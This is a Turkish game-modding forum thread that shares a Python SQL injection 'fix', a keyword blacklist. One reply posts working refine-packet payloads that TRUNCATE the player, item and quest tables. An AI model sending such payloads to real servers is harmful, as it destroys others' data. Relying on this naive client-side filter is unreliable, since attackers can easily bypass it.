Konuya bakarken birşey eklemeyi unutmuşum eğer chat classına inject fonksiyonunu koyarsaniz hata alirsiniz fonksiyona yollarken consInfo.GetInjectText(text[1:]) yaparlarsa sorunsuz calisir cmd acigi varsa birsey yapamazlar yani kısacası. Iyi forumlar hayırli bayramlar.
def main(self):
net.SendRefinePacket("';TRUNCATE player; --", 0, "';TRUNCATE player; --")
net.SendRefinePacket("';TRUNCATE player_index; --", 0, "';TRUNCATE player_index; --")
net.SendRefinePacket("';TRUNCATE quest; --", 0, "';TRUNCATE quest; --")
net.SendRefinePacket("';TRUNCATE item; --", 0, "';TRUNCATE item; --")
net.SendRefinePacket("';TRUNCATE affect; --", 0, "';TRUNCATE affect; --")
chat.AppendChat(1, "Gg Wp İzi
")
Rohan ne patlıyordu açıklarıyla
net.SendRefinePacket("';TRUNCATE player; --", 0, "';TRUNCATE player; --")
net.SendRefinePacket("';TRUNCATE player_index; --", 0, "';TRUNCATE player_index; --")
net.SendRefinePacket("';TRUNCATE quest; --", 0, "';TRUNCATE quest; --")
net.SendRefinePacket("';TRUNCATE item; --", 0, "';TRUNCATE item; --")
net.SendRefinePacket("';TRUNCATE affect; --", 0, "';TRUNCATE affect; --")
chat.AppendChat(1, "Gg Wp İzi
")Rohan ne patlıyordu açıklarıyla

TeşekkürlerMerhabalar
constınfo.py açın ve dosyanın en sonuna yapıştırın
Python:py_Flag = [] def GetFlag(flagname): global py_Flag size = 0 for i in xrange(len(py_Flag)): if py_Flag[i]["flag"] == flagname: size = py_Flag[i]["value"] break return size def SetFlag(flagname,value): global py_Flag bAdd = True for i in xrange(len(py_Flag)): if py_Flag[i]["flag"] == flagname: py_Flag[i].update({"value":flagname,"value":int(value)}) bAdd = False break if bAdd: py_Flag.append({"flag":flagname,"value":int(value)})
Bunu nasıl kullanıcaz?
Python:aynı questflag gibi. constInfo.GetFlag("value") constInfo.SetFlag("value",constInfo.GetFlag("value")+1)
Eğer karakter oyundan çıkınca ve bir yere ışınlanınca flagları silmek istenler bunu yapsın.
Game.py aç ve Close fonksiyonunu bul bunu yapıştır altına.
Python:constInfo.py_Flag.clear()
#######################################################################################################
Sql injection fix python
constInfo.py aç ve dosyanın en sonuna ekle
Python:def GetInjectText(text): characters = ["SELECT","TRUNCATE","INSERT","REPLACE","DELETE",'/', '>', '<', '|', ';', ':', '}', '{', '[', ']', '%', '#', '@', '^','&'] succes = False for j in xrange(len(characters)): if text.find(characters[j]) != -1: succes = True break return succes
Bu fonksiyonun kullanımı böyle
Python:def __SendShoutChatPacket(self, text): if constInfo.GetInjectText(text): chat.AppendChat(chat.CHAT_TYPE_INFO, " SQL INJECT") return
Bu inject önlemlerini chat, offshop ismi, lonca yorum, messenger gibi yerlere önlem olarak koyabilirsiniz.
Saygılar - dracaryS
Şu an konuyu görüntüleyenler (Toplam : 0, Üye: 0, Misafir: 0)
Benzer konular
- Cevaplar
- 10
- Görüntüleme
- 423
- Cevaplar
- 19
- Görüntüleme
- 2K